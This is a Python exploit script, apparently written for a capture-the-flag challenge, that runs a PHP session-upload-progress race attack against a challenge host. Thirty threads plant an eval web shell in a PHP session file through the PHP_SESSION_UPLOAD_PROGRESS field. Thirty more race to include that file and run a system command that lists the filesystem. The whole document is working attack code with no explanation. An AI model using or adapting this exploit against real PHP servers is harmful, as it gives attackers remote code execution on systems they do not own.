# coding=utf-8
import io
import requests
import threading

sessid = 'flag1'
data = {"cmd": "system('ls /*');"}
url = "http://eci-2zecwqnaa4xrrmmwpqir.cloudeci1.ichunqiu.com/"

def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(url,
                            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>maxzed'},
                            files={'file': ('tgao.txt', f)}, cookies={'PHPSESSID': sessid})

def read(session):
    while True:
        resp = session.post(url+'?name=cfile&value=/tmp/sess_' + sessid,
                            data=data)
        if 'maxzed' in resp.text:
            print(resp.text)
            event.clear()
        else:
            pass

if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()